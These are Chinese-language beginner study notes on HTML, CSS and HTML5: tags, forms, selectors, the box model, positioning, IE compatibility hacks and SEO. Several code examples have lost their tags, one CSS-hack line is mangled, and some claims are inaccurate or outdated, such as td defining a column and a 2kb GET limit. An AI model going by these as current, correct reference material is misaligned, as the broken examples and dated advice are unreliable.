前端基礎篇css

、web標準

web標準是網頁制作的標準，它不是一個標準，而是由一系列標準組成。

web標準包含了三個方面：結構（html）,表現(css),行為(javascript或js)

注：a）W3C—萬維網聯盟，制定了結構和表現的標準

b) ECMA—歐洲電腦廠商聯合會，制定了行為標準

二、html相關概念

1.html—超文本標記語言

2.xhtml—可擴展的超文本標記語言

3.html5—html的第五次重大修改

注：html和xhtml的區別

xhtml相對于html4.0并沒有增加新的標簽，只是語法要求更加嚴格，例如標簽名稱小寫，標簽必須閉合

三、DW常用快捷鍵

1.新建文件 ctrl+n

2.保存文件 ctrl+s

3.預覽網頁 F12

4.打開文件 ctrl+o

5.打開首選參數面板 ctrl+u

6.撤銷 ctrl+z

7.恢復 ctrl+y

8.查找和替換 ctrl+f

9.顯示或隱藏文件面板 F8

四、html基本結構

1.文檔聲明

作用：告知瀏覽器網頁使用哪種html或xhtml規范

h5的文檔聲明： <!doctype html> 或 <!DOCTYPE HTML> 或 <!DOCTYPE html>

2.網頁根標簽（根元素）：<html>…</html>

所有網頁的內容及標簽都要放置在html標簽之間

3.html中的內容分為兩大部分：head部分和body部分

a)head部分：主要用來設置字符編碼，網頁標題，關鍵詞，描述，引入一些外部css文件，js文件等

b)body部分：所有要在網頁中呈現的內容和放置內容的標簽都要放在body部分

注：常用字符編碼格式為utf-8,還有gbk,gb2312

五、html基本語法

1.常規標記

語法： <標記屬性=”屬性值” 屬性=”屬性值”></標記>

eg: <h3 class=”tit” id=”box”>前端開發</h3>

注：a）標記名稱要小寫

b) 屬性和屬性值用等號連接，屬性值要加雙引號

c)屬性和標記之間要加空格，多個屬性之間用空格隔開

d) 所有標點符號都必須是英文狀態下的

2.空標記

語法： <標記屬性=”屬性值” 屬性=”屬性值”/>

eg: <img src=”1.jpg” title=”圖片”/>

六、html常用標記

1.網頁內容標題

語法： <hx>標題內容</hx> (x為1-6)

eg: <h3>前端開發</h3>

注：h1-h6都有加粗效果，字體逐漸減小

2.段落文本

語法： <p>段落文本內容</p>

3.換行

語法：<br/>

4.空格（html轉義字符）

5.加粗文本

語法： <strong>加粗文本內容</strong>

<b>加粗文本內容</b>

6.傾斜文本

語法：<em>傾斜文本內容</em>

<i>傾斜文本內容</i>

7.水平分隔線

語法： <hr/>

8.上標和下標

語法：上標： <sup>上標</sup>

下標： <sub>下標</sub>

※9.無序列表

語法： <ul>

…

</ul>

10.有序列表

語法：<ol type=”a|A|I|i” start=”2″>

…

</ol>

擴展：type用來設置序號的類型

start用來設置索引值

11.自定義列表

語法： <dl>

…

</dl>

—————————————————

相對路徑的三種寫法：

a）當當前文件和目標文件在同一目錄下，寫法如下：目標文件名+擴展名

b）當當前文件和目標文件所在文件夾在同一目錄下，寫法如下：目標文件所在文件夾名/目標文件名+擴展名

c）當當前文件所在文件夾和目標文件所在文件夾在同一目錄下，寫法如下：

../目標文件所在文件夾名/目標文件名+擴展名

注: ../代表返回到上一級目錄

—————————————————

※12.圖片

語法： <img src=”圖片路徑” title=”提示信息” alt=”替換信息” width=”數值” height=”數值”/>

eg: <img src=”img/1.jpg” title=”前端開發” alt=”加載失敗” width=”100″ height=”100″/>

注：alt和title的區別

alt是當圖片由于某些原因無法正常加載時顯示的替換信息

title是當鼠標懸停在圖片上時顯示的提示信息

※13.超鏈接

語法： <a href=”鏈接地址” target=”_blank” title=”***”>鏈接文本或圖片</a>

eg: <a href=”http://www.baidu.com” target=”_blank”>百度一下</a>

<a href=”#”>新聞</a> 空鏈接

注：target=”_blank” 鏈接地址在新窗口打開

擴展：href和src的區別：

a）href表示超文本引用。用來建立當前元素和文檔之間的鏈接。常用的有：link、a

b）src是source的縮寫，src指向的內容會嵌入到文檔中當前標簽所在的位置。常用的有img，script

14.表格

作用：顯示數據

語法：<table border=”1″ cellspacing=”0″ cellpadding=”0″>

…

</tr>

…

</tr>

…

</table>

注：表格相關html標簽

1）table 用來定義一個表格

2）tr 定義表格的行

3）td 定義表格的列

4）th 定義表格的表頭(自動加粗居中)

5）caption 定義表格的標題

6）thead 定義表格的頁眉

7）tbody 定義表格的主體

8）tfoot 定義表格的頁腳

注：表格相關html屬性

a) border 設置表格的邊框

b) cellspacing 設置單元格之間的間距

c) cellpadding 設置內容和單元格之間的空隙

d) width 定義單元格的寬度和表格的寬度

e) height 定義單元格的高度或表格的高度

f) align 設置單元格內容的水平對齊方式 align=”left|center|right”

g) colspan 合并列（加在td上）

h) rowspan 合并行（加在td上）

表單

一、表單

作用：用來搜集用戶信息

語法： <form method=”get|post” action=”服務器端文件”>…</form>

注：所有的表單控件都要放置在form標簽之間

1.文本框

語法： <input type=”text” value=”***”/>

2.密碼框

語法：<input type=”password”/>

3.提交按鈕

語法： <input type=”submit” value=”登錄”/>

注：通過設置value屬性改變按鈕的默認文字內容

提交按鈕和要提交的表單內容必須放在一個form標簽中，才能提交

4.重置按鈕

語法：<input type=”reset”/>

注：重置按鈕必須放在form中才具備重置功能

5.單選按鈕

語法：<input type=”radio” name=”a” checked=”checked”/>

注：a)一組中的單選按鈕添加一致的name屬性值，才能達到多選其一的效果

b)設置checked=”checked”,在頁面加載完成后添加默認選中項

c)當屬性和屬性值相同時，可以省略屬性值

6.復選按鈕

語法： <input type=”checkbox” checked/>

注：checked屬性的設置同單選按鈕

7.下拉列表

語法：<select>

…

</select>

注：設置selected屬性改變默認選中項

8.文本域

語法：<textarea cols=”字符寬度” rows=”行數”></textarea>

擴展：禁止用戶隨意拖拽改變文本域的大小，設置如下：

textarea{resize:none;}

9.普通按鈕

語法： <input type=”button” value=”***”/>

注：普通按鈕不具備提交功能，一般結合js的onclick事件使用

普通按鈕上的默認文字內容為空，需要通過value屬性進行設置

注：disabled=”disabled” 設置表單控件為禁用狀態

◆ get和post的區別

1）get主要用來獲取數據，post主要用來向服務器發送數據

2）get發送數據時，信息會顯示在url地址欄中，post直接通過服務器發送，用戶看不到這個過程

3) get可以傳送的數據量較小，一般不能大于2kb，post可以傳送的數據量較大，理論上沒有限制

4) get安全性較低，post安全性較高

二、div

作用：無語義標簽，主要用來布局和劃分板塊

語法： <div>…</div>

三、span

語法： <span>…</span>

作用：

a)標簽沒有固定的格式表現。當對它應用樣式時，它才會產生視覺上的變化。

b)span標簽提供了一種將文本的一部分或者文檔的一部分獨立出來的方式

四、iframe框架

語法：<iframe src=”1.html表單.html” width=”800″ frameborder=”0″ scrolling=”auto”></iframe>

注：scrolling=”no” 隱藏或去掉iframe的滾動條

作用：創建包含另外一個文檔的內聯框架

五、html注釋

語法： <!–注釋內容–>

css基礎

一、css概念及特點

css—層疊樣式表

特點：實現了結構與表現相分離

作用：定義html元素如何在網頁中顯示

二、css基礎語法

css由選擇器和聲明兩大部分組成，聲明又是由屬性和屬性值組成。即：

選擇器{屬性:屬性值;}

eg: h1{color:red;}

注：a）聲明要放在花括號中,每條聲明結束要加分號

b) 屬性和屬性值用冒號連接

c) 建議一條聲明占一行

三、樣式表的創建

1.內聯樣式（行間樣式，行內樣式）

語法：<標記 style=”屬性:屬性值;”></標記>

eg: <h1 style=”color:red;”>前端開發</h1>

2.內部樣式（嵌入式樣式）

語法：<style type=”text/css”>

選擇器{屬性:屬性值;}

</style>

eg: <style type=”text/css”>

h1{color:red;}

</style>

注：style標簽一般放在head部分

3.外部樣式表

a）使用link標簽引入

首先創建一個后綴名為.css的文件

然后通過link標簽引入，語法如下：

注：rel是用來建立外部文件和本文件之間的關系

link標簽一般放在head部分

b)使用@import引入css文件

語法： @import “css文件路徑”;

★ link和@import引入外部樣式的區別 ★

1）link屬于html標簽，除了可以引入css文件以外，還可以引入其他文件，@import屬于css范疇，只能引入css文件（老祖宗的區別）

2）link引入的css文件和頁面同時加載，@import引入的css文件在頁面加載完成后載入（加載順序不同）

3）link引入css文件無兼容性問題，所有瀏覽器都支持，@import低版本瀏覽器不支持（瀏覽器支持不同）

4）link是html標簽，支持js改變dom，@import不支持（是否支持js改變dom）

四、樣式表的優先級

樣式表的優先級

采取就近原則，即離被設置的元素越近，優先級越高

當css屬性值中出現!important的時候，它的優先級最高即：

!important>內聯>內部>外部

五、css注釋

語法： /*注釋內容*/

六、css選擇器

1.id選擇器

語法：<標記 id=”id名”></標記>

#id名{屬性:屬性值;}

eg: <h1 id=”edu”>前端開發</h1>

#edu{color:red;}

注：a）id選擇器優先級最高，id名是唯一的，不能出現同名的id

b) id名命名要語義化，常見命名方法：

I.駝峰命名法 id=”mainLoginContent”

II.下劃線連接命名法 id=”main_login_con”

2.類選擇器(class選擇器)

語法：<標記 class=”類名”></標記>

.類名{屬性:屬性值;}

eg: <h1 class=”tit”>前端開發</h1>

.tit{color:red;}

注：可以給具有相同樣式的元素添加相同的class名

注：類名詞列表用法：

當一個元素即具有與其他元素相同的樣式，又有某一個樣式不同時，需要用到類名詞列表的方式

3.后代選擇器（包含選擇器）

語法：選擇符1 選擇符2{屬性:屬性值;}

eg: .box a{color:red;}

注：選擇符1和選擇符2必須滿足是包含與被包含的關系，才能使用后代選擇器

css核心屬性

一、字體類屬性

1.字體類型

語法： font-family:字體1,字體2,字體3;

eg: body{font-family:”Microsoft YaHei”,Arial;}

或 body{font-family:”微軟雅黑”,Arial;}

注：a）font-family設置多個字體時，用逗號分隔

b）中文字體要加雙引號，英文字體由多個單詞組成也要加雙引號

c）瀏覽器會優先識別字體1,如果找不到識別字體2，如果所列出的字體都無法識別，顯示瀏覽器默認字體

d）特殊字體一律用圖片

2.字體大小

語法：font-size:數值+單位;

eg: p{font-size:12px;}

注：a)字體大小一般設置偶數不設置奇數

b)瀏覽器默認字體大小為16px

c)字體大小單位有px,em,rem,pt等

注： font-size:16px; 等價于 font-size:medium;

3.字體加粗

語法：font-weight:normal(常規字體)|bold(加粗字體)|bolder(加粗字體)|100-900;

eg: h3{font-weight:normal;}

注：100-500為常規字體，600-900為加粗字體

4.字體傾斜

語法：font-style:normal(常規字體)|italic(傾斜)|oblique(傾斜);

5.字體是否大小寫

語法：font-variant:normal(常規字體)|small-caps(小型大寫字母字體);

注：主要針對英文起作用

6.font復合寫法

語法：font:style weight size family;

eg： font:12px/1.5 “微軟雅黑”;

上述代碼是指字體大小為12px，行高為字體大小的1.5倍，字體類型為微軟雅黑

注：在font的復合寫法中，size和family不可互換位置，也不可以和其他簡寫屬性互換位置

7.字體顏色

語法：color:顏色值;

注：顏色值的三種寫法：

a）十六進制寫法

color:#000; 黑色 color:#fff; 白色

b) rgb寫法

color:rgb(0,0,0); 黑色 color:rgb(255,255,255); 白色

c) 顏色單詞

color:black; color:white; color:red;

二、文本類屬性

1.文本水平對齊方式

語法：text-align:left(左對齊)|center(居中對齊)|right(右對齊)|justify(兩端對齊);

注：a）當需要讓容器中的文本或圖片等其他元素水平居中時，給父容器添加text-align:center;

b）justify兩端對齊主要針對英文

2.行高

語法：line-height:數值+單位;

eg: line-height:32px;

注：a）當單行文本的行高等于容器高時，可以實現單行文本在定高容器中垂直居中

b) line-height不允許設置負值

c) line-height的屬性值只寫數值不加單位時，代表行高為字體大小的多少倍

3.文本修飾

語法：text-decoration:none(沒有修飾)|underline(下劃線)|line-through(刪除線)|overline(上劃線);

eg: a{text-decoration:none;}

a:hover{text-decoration:underline;}

CSS盒模型

一、css盒模型的概念及組成

css盒模型的概念—css盒模型是css的基石，主要用來設置元素間的相互關系，每個html元素都有自己的盒模型。

css盒模型的組成—由content(主體),padding(補白，填充)，border(邊框)，margin(外邊距)組成。

1.content

語法：width:數值+單位;

height:數值+單位;

注：width和height的屬性值必須加單位

2.padding(content和border之間的區域)

a）設置一個值

padding:20px; 上，下，左，右均為20px

b）設置兩個值

padding:20px 5px; 上下為20px，左右為5px

c）設置三個值

padding:20px 5px 10px;上為20px，左右為5px，下為10px

d）設置四個值

padding:20px 5px 10px 0px;

順時針順序依次為：上20px，右5px，下10px,左0px

e) 還可以單獨設置某一個方向的padding值

eg: padding-left:20px; （left還可以更改為top，right，bottom）

注：

I.如果元素設置了寬高，設置padding后，要在原來寬高的基礎上減去設置的padding值，保證總寬高不變

II.padding不允許設置負值

III.背景可以延伸到padding區域

IV.當需要調整子元素在父元素中的位置關系時，可以通過給父元素設置padding來實現

容器溢出

一、容器溢出

語法：overflow:visible|hidden|scroll|auto|inherit;

visible 默認值，內容不會被裁剪，顯示在容器之外

hidden 內容會被裁剪，隱藏不可見

scroll 溢出部分的內容以滾動條的形式查看，如果沒有溢出，顯示默認的滾動條

auto 容器溢出時顯示滾動條

inherit 規定從父元素繼承overflow屬性值

還可以單獨設置某一個方向的溢出：

overflow-x:hidden|scroll|auto;

overflow-y:hidden|scroll|auto;

二、文本溢出

語法：text-overflow:clip(不顯示省略號)|ellipsis(顯示省略號);

三、單行文本省略號的設置

四個條件缺一不可：

（a）設置固定的寬度 width:value;

（b）設置文本強制在一行顯示 white-space:nowrap;

（c）設置容器溢出隱藏 overflow:hidden;

（d）設置文本溢出顯示省略號 text-overflow:ellipsis;

注：I.此方法只適用于單行文本省略號的設置，如果是多行文本顯示省略號可以使用js或由后端來處理

II.上述四個屬性必須給文本所在最近的父元素設置

元素類型及轉換

一、html元素類型

html元素分為三大類：塊元素，內聯元素，可變元素

注：也可將html元素分為這樣三類：塊元素，內聯元素，內聯塊狀元素

1.塊元素

常見塊元素：div,p,ul,ol,li,dl,dt,dd,form,table,tr,td,hr,h1,h2,h3,h4,h5,h6,fieldset

塊狀元素特點：

a) 塊狀元素以塊的形式顯示為一個矩形區域

b) 塊狀元素默認情況下，獨占一行，自上而下排列

c) 塊狀元素可以定義自己的寬度和高度，以及盒模型中的任意屬性（如margin，padding，border）

d) 塊狀元素可以作為一個容器容納其他的塊元素和內聯元素

2.內聯元素

常見內聯元素：a,span,strong,b,i,em,br,img,input,select,textarea

內聯元素特點：

a) 內聯元素沒有自己的形狀，也顯示為一個矩形區域

b) 內聯元素在一行逐個進行顯示

c) 內聯元素不能定義寬度和高度，以及與高度相關的一些屬性（margin-top,margin-bottom,padding-top,padding-bottom,line-height）

d) 內聯元素不能嵌套塊元素

常見內聯塊狀元素：img,input,select,textarea

內聯塊狀元素特點：

a) 即具有內聯元素特點，在一行逐個進行顯示

b) 又具有塊狀元素特點，可以定義寬度和高度，以及盒模型中的任意屬性

注：vertical-align屬性只針對內聯塊狀元素有效

3.可變元素

根據上下文關系決定元素類型，可變范圍塊元素和內聯元素

注：常用html元素默認有margin，padding的如下：

body 默認margin

h1-h6 默認margin

p 默認margin

ul 默認margin和padding

ol 默認margin和padding

dl 默認margin

dd 默認margin

td 默認padding

input 默認padding

textarea 默認padding

fieldset 默認padding和margin

二、元素類型轉換

語法：display:block|inline|inline-block|none|list-item;

a)block 將元素轉換為塊元素，是大部分塊元素的默認display屬性值

b)inline 將元素轉換為內聯元素，是內聯元素的默認display屬性值

c)inline-block 將元素轉換為內聯塊狀元素，是內聯塊狀元素的默認display屬性值（如img,input）

d)none 將元素隱藏不可見

e)list-item 將元素轉換為列表類型，是li的默認display屬性值

—————————————————

擴展：圖片默認有空隙：

方案一：給img添加display:block;

方案二：給img添加float屬性

—————————————————

注：當給元素設置了float后就相當于轉換成block

三、置換元素和非置換元素

1.置換元素

瀏覽器根據元素的標簽和屬性，來決定元素的具體顯示內容。

例如：根據img標簽的src屬性決定在網頁中顯示什么樣的圖片

根據input標簽的type屬性決定在網頁中顯示什么類型的input控件

2.非置換元素

除了置換元素，大部分html元素都是非置換元素，其內容直接顯示在瀏覽器中

（缺內容）

定位及錨點設置

一、常見的三種布局模型

1.流動模型（Flow）

元素沒有設置css樣式的布局，塊元素自上而下排列，內聯元素在一行逐個進行顯示

2.浮動模型（Float）

使用float屬性進行網頁布局，可以讓塊元素脫離文檔流在一行顯示，可以讓內聯元素設置寬高并且在一行顯示

3.層模型（Layer）

使用position定位屬性進行布局

二、定位布局

語法：position:static(默認值)|absolute(絕對定位)|relative(相對定位)|fixed(固定定位);

1.絕對定位

語法：position:absolute;

要成為絕對定位元素的參照物，必須滿足以下兩個條件：

a)參照物和絕對定位元素必須是包含與被包含關系

b)參照物必須具有定位屬性

如果找不到滿足以上兩個條件的父包含塊，那么絕對定位的參照物是瀏覽器窗口

注：元素的定位位置通過left,right,top,bottom屬性來進行設置

2.相對定位

語法：position:relative;

參照物：元素偏移前的位置

★相對定位和絕對定位的區別

a）參照物不同

絕對定位的參照物是離元素最近的具有定位屬性的父包含塊，相對定位的參照物是元素偏移前的位置

b) 是否會脫離文檔流

絕對定位會脫離文檔流，位置會被其他元素占據，相對定位不會脫離文檔流，原來的位置保留

3.固定定位

語法：position:fixed;

參照物：瀏覽器窗口或屏幕窗口

注：當給元素設置了固定定位后，元素會脫離正常的文檔流，位置會被其他元素占據

三、透明度設置

語法:opacity:數值; （取值范圍0-1,0為完全透明，1為完全不透明）

注：IE8及以下版本的IE瀏覽器不支持opacity屬性，兼容寫法如下：

filter:alpha(opacity=數值); （取值范圍0-100）

四、定位元素層疊屬性

語法：z-index:auto|number;

number 無單位的整數值，也可以設置負值

注：沒有設置z-index時，最后寫的對象優先顯示在上層，設置后，數值越大，層越靠上；

五、錨點鏈接

語法：

a）命名錨記：

<標記 id=”錨記名”></標記>

b）連接錨記名

eg: <h1 id=”one”>第一章 html基礎</h1>

—————————————————

擴展一：如何在網頁中插入flash

語法：<object width=”1000″ height=”500″>

</object>

擴展二：設置滾動字幕效果

語法：

滾動內容…

</marquee>

注：scrollamount用來設置滾動的速度，值越大速度越快

寬高自適應

一、寬度自適應

語法：width:100%;

注：給元素設置寬度100%將會繼承父元素的寬度

塊狀元素默認寬度為100%

注：寬度自適應主要應用在通欄效果中

二、高度自適應

語法：height:auto; 或不設置高度

注：容器的高度由里面內容來決定

三、最大，最小高度，最大，最小寬度

1.最小高度

語法：min-height:數值+單位;

注：IE6不識別min-height屬性，兼容寫法如下：

a）min-height:100px; _height:100px;

b）min-height:100px; height:auto!important; height:100px;

2.最大高度

語法：max-height:數值+單位;

3.最小寬度

語法：min-width:數值+單位;

注：塊狀元素設置min-width屬性時，需要將元素轉換為內聯塊狀元素

4.最大寬度

語法：max-width:數值+單位;

注：以上四組屬性IE6及以下版本瀏覽器都不識別

四、高度塌陷問題

描述：父元素高度自適應，子元素float后，導致父元素高度為0稱為高度塌陷問題

a）給父元素一個固定的高度

父元素{height:value;}

缺點：給父元素固定的高度違背了高度自適應的原則，不建議使用

b) 給父元素添加overflow:hidden;

優點：簡單

缺點：當子元素存在定位時，定位在父元素框之外的部分將會被隱藏掉

c) 在浮動的子元素末尾添加一個空div，并設置如下樣式：

.clear{clear:both;height:0;overflow:hidden;}

優點：兼容性好，所有瀏覽器都支持

缺點：在網頁中添加若干個無意義的div，容易造成代碼冗余

d）萬能清除浮動法

父元素:after{content:”;

display:block;

clear:both;

height:0;

overflow:hidden;

visibility:hidden;}

優點：解決了代碼冗余的問題，是官方推薦的解決高度塌陷問題的方法

五、偽元素

1. 元素:before

語法： .box:before{

content:”hello”;

font-size:30px;

color:red;

…

}

注：:before是在元素里面所有內容之前添加一個偽元素

2. 元素:after

語法：.box:after{

content:”world”;

font-size:30px;

color:green;

}

注： :after是在元素里面所有內容之后添加一個偽元素

注：I.無論偽元素內容是否為空，都必須添加content屬性

II.偽元素是一個內聯元素

六、元素隱藏不可見的兩種方式

1.display:none;

元素隱藏不可見，位置不保留（看不見，摸不著）

2.visibility:hidden;

元素隱藏不可見，位置保留(看不見，摸得著)

七、窗口高度自適應

首先設置：

html,body{height:100%;}

然后給元素設置：

元素{height:100%;}

注：窗口高度自適應主要應用于內容不滿一屏或者沒有內容body和html高度為0的情況

八、水平居中

1.如果被設置元素為文本、圖片等行內元素時，水平居中是通過給父元素設置text-align:center;來實現的。

2.滿足定寬和塊狀兩個條件的元素是可以通過設置“左右margin”值為“auto”來實現居中的

注：當元素設置了float，絕對定位，固定定位，左右margin為auto將會失效

3.不定寬塊狀元素水平居中

方案一：給子元素設置display:inline-block;給父元素設置text-align:center;

方案二：給父元素設置display:table; margin:0 auto;

注：display:table; 將元素轉換為表格形式

九、元素水平垂直都居中問題

1.定寬高元素在屏幕窗口水平垂直都居中，方法如下：

元素{

width:value;

height:value;

position:fixed;

left:50%;

top:50%;

margin-left:-width/2;

margin-top:-height/2;

}

2.不定寬高元素在屏幕窗口水平垂直都居中，方法如下：

元素{

position:fixed;

left:0;

top:0;

bottom:0;

right:0;

margin:auto;

}

3.不定寬高的子元素在父元素中水平垂直都居中，方法如下：

a）父元素{

position:relative;

}

子元素{

position:absolute;

left:0;

top:0;

bottom:0;

right:0;

margin:auto;

}

b）父元素{

display:table-cell;

text-align:center;

vertical-align:middle;

}

注：display:table-cell;將元素轉換為表格單元格形式

十、圓角效果

語法：border-radius:數值+單位;

注：border-radius:50%; (圓)

注：border-radius是css3新增的屬性，低版本IE瀏覽器不支持，需要使用背景圖片的方式來實現

常見兼容性問題

一、常見兼容性問題

1.雙倍浮動bug

描述：塊元素float后，又設置了橫向的margin，在IE6下顯示的margin比設置的margin值要大

解決方案：給浮動的塊元素添加display:inline;

2.表單元素行高不一致

解決方案：

方案一：給表單元素添加vertical-align:middle;

方案二：給表單元素添加float屬性

擴展：如何去掉表單元素的外邊框，方法如下：

input{outline:none;}

3.在IE6不能識別較小高度的容器（一般為10px）

解決方案：

a）給容器添加overflow:hidden;

b）給容器添加font-size:0; (如果容器高度為0時使用第一種解決方案)

4.超鏈接中的圖片在IE瀏覽器中有默認的邊框

解決方案：給img標簽添加border:0; 或 border:none;

5.min-height屬性IE6不識別

解決方案：

a）min-height:100px; _height:100px;

b）min-height:100px; height:auto!important; height:100px;

6.圖片默認有空隙

解決方案：

a）給img設置display:block;

b）給img設置float屬性

7.百分比bug

描述：父元素寬度100%，子元素寬度50%，在IE6下，50%+50%大于100%

解決方案：給右邊左浮動的子元素添加clear:right;

8.低版本IE瀏覽器不識別opacity屬性

解決方案：filter:alpha(opacity=數值);

9.鼠標指針bug

描述：cursor:hand;只有低版本的IE瀏覽器支持，其他瀏覽器都不支持

解決方案： cursor:pointer; 所有瀏覽器都支持，將鼠標指針改為手型

10.上下margin重疊問題

描述：當給上下兩個元素同時設置margin值時，只能識別其中較大的那個值、

解決方案：

a)margin-top和margin-bottom只設置其中一個值

b)給其中一個設置margin屬性的元素外層再嵌套一個盒子，并設置overflow:hidden;

11.假傳圣旨問題

描述：給子元素設置margin-top應用在了父元素上

解決方案：

1）把給子元素設置的margin-top改為給父元素設置padding-top

2）給父元素設置overflow:hidden;

3）給父元素設置float屬性

4）給父元素設置border-top:1px solid transparent;

注：transparent為透明

12.按鈕默認大小不一

解決方案：按照設計稿上按鈕的樣式設定寬高，或者使用背景圖

二、css hack(過濾器)

1.下劃線屬性過濾器

語法：選擇器{_屬性:屬性值;}

eg: .box{_background:red;}

注：只有IE6可以識別帶有下劃線的css屬性，其他瀏覽器都不識別

2.!important關鍵字過濾器

語法：選擇器{屬性:屬性值!important;}

eg: .box{background:yellow!important;background:blue;}

注：!important關鍵詞過濾器除IE6以外的其他瀏覽器都識別

添加!important關鍵詞的css屬性要放在標準css屬性之前

3.*屬性過濾器

語法：選擇器{*屬性:屬性值;}

eg: .box{*background:pink;}

注：*屬性過濾器只有IE6,IE7識別

語法：選擇器{屬性:屬性值;}

eg: .box{background:orange;}

注：是IE6,7,8,9都識別

5.>5.\0<

語法：選擇器{屬性:屬性值>語法：選擇器{屬性:屬性值\0;}<;}

eg: .box{background:black>eg: .box{background:black\0;}<;}

注：>注：\0是IE8及以上版本瀏覽器識別<>

三、五大瀏覽器內核

1.IE 內核：Trident

2.Mozilla Firefox(火狐) 內核：Gecko

3.Safari,Chrome 內核：Webkit

4.Opera(歐朋) 內核：Presto

5.由Google,Opera,software聯合開發的瀏覽器排版引擎內核：Blink

—————————————————

圖片整合

一、圖片整合的概念

圖片整合是指將多張背景圖片整合到一張背景圖中，通過background-position屬性實現圖片的定位技術。

二、圖片整合的優勢

將多張圖整合到一張圖中，減少了對服務器的請求次數，加快了頁面的加載速度，減小了圖片體積，從而達到了網站性能的優化。

注：圖片整合技術也稱為滑動門技術，雪碧圖，精靈圖

表單，表格高級

一、表單高級

表單的組成：表單域，表單控件，提示信息

1.表單域

2.表單控件

文本框： <input type=”text”/>

密碼框： <input type=”password”/>

提交按鈕： <input type=”submit” value=”login”/>

重置按鈕： <input type=”reset”/>

單選按鈕： <input type=”radio” name=”a”/>

復選按鈕：<input type=”checkbox” checked/>

下拉菜單： <select><option>a</option>…</select>

文本域： <textarea></textarea>

3.提示信息

放置在表單控件前后的文字內容叫做提示信息，我們經常將提示信息放置在一個label標簽中，語法如下：

a）點擊文字選中單選按鈕或復選按鈕

注：設置id屬性值和for屬性值一致產生關聯即可達到點擊文字選中按鈕的效果

b）通過給label標簽設置樣式達到一定的效果

注：label是一個內聯元素

4.表單字段集及表單字段集標題

語法： <fieldset>

表單控件…

</fieldset>

注：將form表單中的內容進行分組，并添加一個標題，在form中可以嵌套多個fieldset

5.上傳文件

語法： <input type=”file”/>

6.隱藏字段

語法： <input type=”hidden”/>

注：主要用于后端處理數據

7.圖像域

語法： <input type=”image” width=”數值” height=”數值” src=”圖片路徑”/>

注：用在提交按鈕位置的圖像，使得這幅圖像具有按鈕的功能

二、表格高級

1.合并相鄰單元格邊框(給table加)

語法： border-collapse:collapse(合并相鄰單元格邊框)|separate(邊框分開);

2.定義表格標題的位置(給table加)

語法：caption-side:top|bottom|left|right;

注：left和right只有火狐支持

3.設置單元格間距(給table加)

語法：border-spacing:數值+單位;

注：當設置了border-collapse:collapse;后，border-spacing將會失效

4.設置無內容單元格隱藏(給table加)

語法：empty-cells:show(顯示)|hide(隱藏);

5.表格布局算法(給table加)

語法：table-layout:auto|fixed(單元格寬度固定，不隨內容多少發生變化);

三、表格重要html屬性

1.合并列

colspan=”數值”

2.合并行

rowspan=”數值”

3.單元格內容水平對齊方式

align=”left|center|right”

4.單元格內容垂直對齊方式

valign=”top|middle|bottom”

5.分隔線

rules=”rows|cols|all|groups|none”

rows 行分隔線

cols 列分隔線

all 行分隔線和列分隔線

groups 組分隔線

none 沒有分隔線

注：表格行分組：<thead></thead> <tbody></tbody> <tfoot></tfoot>

表格列分組：<colgroup span=”數值”></colgroup>

注： span用來設置幾列為一組，默認一列為一組

四、css樣式重置

作用：CSS reset的作用是讓各個瀏覽器的CSS樣式有一個統一的基準

五、seo優化

seo—搜索引擎優化

◆ 站內優化

1.頁面主題優化

給網站添加一個有意義的標題

2.頁面頭部優化

給網站添加關鍵詞，描述

3.超鏈接優化

a）盡量少用或者不用flash設置超鏈接，seo無法識別flash中的超鏈接文字

b) 給a標簽添加title屬性，可以起到提示訪客的作用

c) 盡量避免使用圖片熱點鏈接

4.圖片優化

給img標簽添加title，alt屬性

5.網站地圖

給網站添加網站地圖或網站導航，方便瀏覽者快速找到有瀏覽的網頁信息

6.給網站添加友情鏈接

7.seo認為靜態頁面比動態頁面更有利于搜索引擎優化

8.避免”大體積”的頁面，代碼結構要合理

◆ 站外優化

1.百度推廣

2.流量分析

3.網站品牌建設

h5新標簽

一、h5新增結構性標簽

1.header 定義網頁的頭部

2.footer 定義網頁的底部

3.section 定義網頁的某一個區域

4.nav 定義網頁的導航部分

5.aside 定義網頁的側邊欄

6.article 定義網頁的一篇文章

7.hgroup 對網頁中的標題進行組合

8.figure 對網頁中的元素進行組合

9.figcaption 給figure組合添加一個標題

10.dialog 定義一個對話框

二、h5新增其他標簽

1.定義帶有記號的文本

語法： <ma rk>定義帶有記號的文本</mark>

2.定義已知范圍內的標量，測量

語法： <meter value=”10″ min=”1″ max=”100″></meter>

3.定義任務的進度或進程

語法： <progress value=”10″ min=”1″ max=”100″></progress>

三、音頻

語法： <audio controls autoplay loop>

…

Your browser does not support the element

</audio>

注：音頻相關html屬性

a）src 引入音頻文件路徑

b) controls 顯示音頻控制條

c) autoplay 設置自動播放

d) loop 設置循環播放

注：audio支持的音頻格式：mp3,ogg,wav

四、視頻

語法：<video controls width=”數值” height=”數值” autoplay controls poster=”圖片路徑”>

…

Your browser does not support the element

</video>

注：視頻相關html屬性

a）src 引入音頻文件路徑

b) controls 顯示音頻控制條

c) autoplay 設置自動播放

d) loop 設置循環播放

e) width 定義視頻區域的寬度

f) height 定義視頻區域的高度

g) poster 在視頻播放前或快進快退時顯示的一張圖片

注：video支持的視頻格式：mp4(mpeg4),ogg,webm

五、h5新增type屬性值

1.type=”email”

限制用戶輸入為email類型（必須含有@符，@符前后內容不能為空）

2.type=”url”

限制用戶輸入為url類型（必須含有http://,并且后面內容不能為空）

3.type=”number”

限制用戶輸入為number類型

eg: <input type=”number” min=”1″ max=”100″ value=”1″ step=”2″/>

注：min 設置最小值 max 設置最大值 step 設置每次遞增遞減的值

4.type=”range”

產生一個滑動條的表單

eg: <input type=”range” value=”1″ min=”0″ max=”100″/>

5.type=”color”

產生一個選擇顏色的面板

6.type=”date”

產生一個選擇日期的面板

7.type=”time”

產生一個選擇時間的面板

8.type=”month”

產生一個選擇年月的面板

9.type=”search”

產生一個具有搜索意義的表單

六、h5新增表單屬性

1.required 必填項，限制用戶輸入不能為空

eg: <input type=”text” required/>

2.placeholder=”默認提示信息內容” 給表單控件添加默認提示信息

eg: <input type=”text” placeholder=”請輸入用戶名”/>

3.autofocus 頁面加載完成后自動聚焦到某個input框

eg: <input type=”text” autofocus/>

4.pattern=”正則表達式” 按照設置的規則輸入內容

eg: <input type=”text” pattern=”^[a-zA-Z0-9]{6,16}$”/>

5.list 指定一個datalist，作為下拉提示單

eg: <input type=”search” list=”data”/>

…

</datalist>

注：type為search的input框的list屬性值必須和datalist標簽的id名一致才能實現搜索的功能

七.取消h5的表單驗證

語法： <form novalidate></form>

sublime常用快捷鍵

<!– sublime常用快捷鍵 –>

<!– 1.快速生成html基本模板 –>

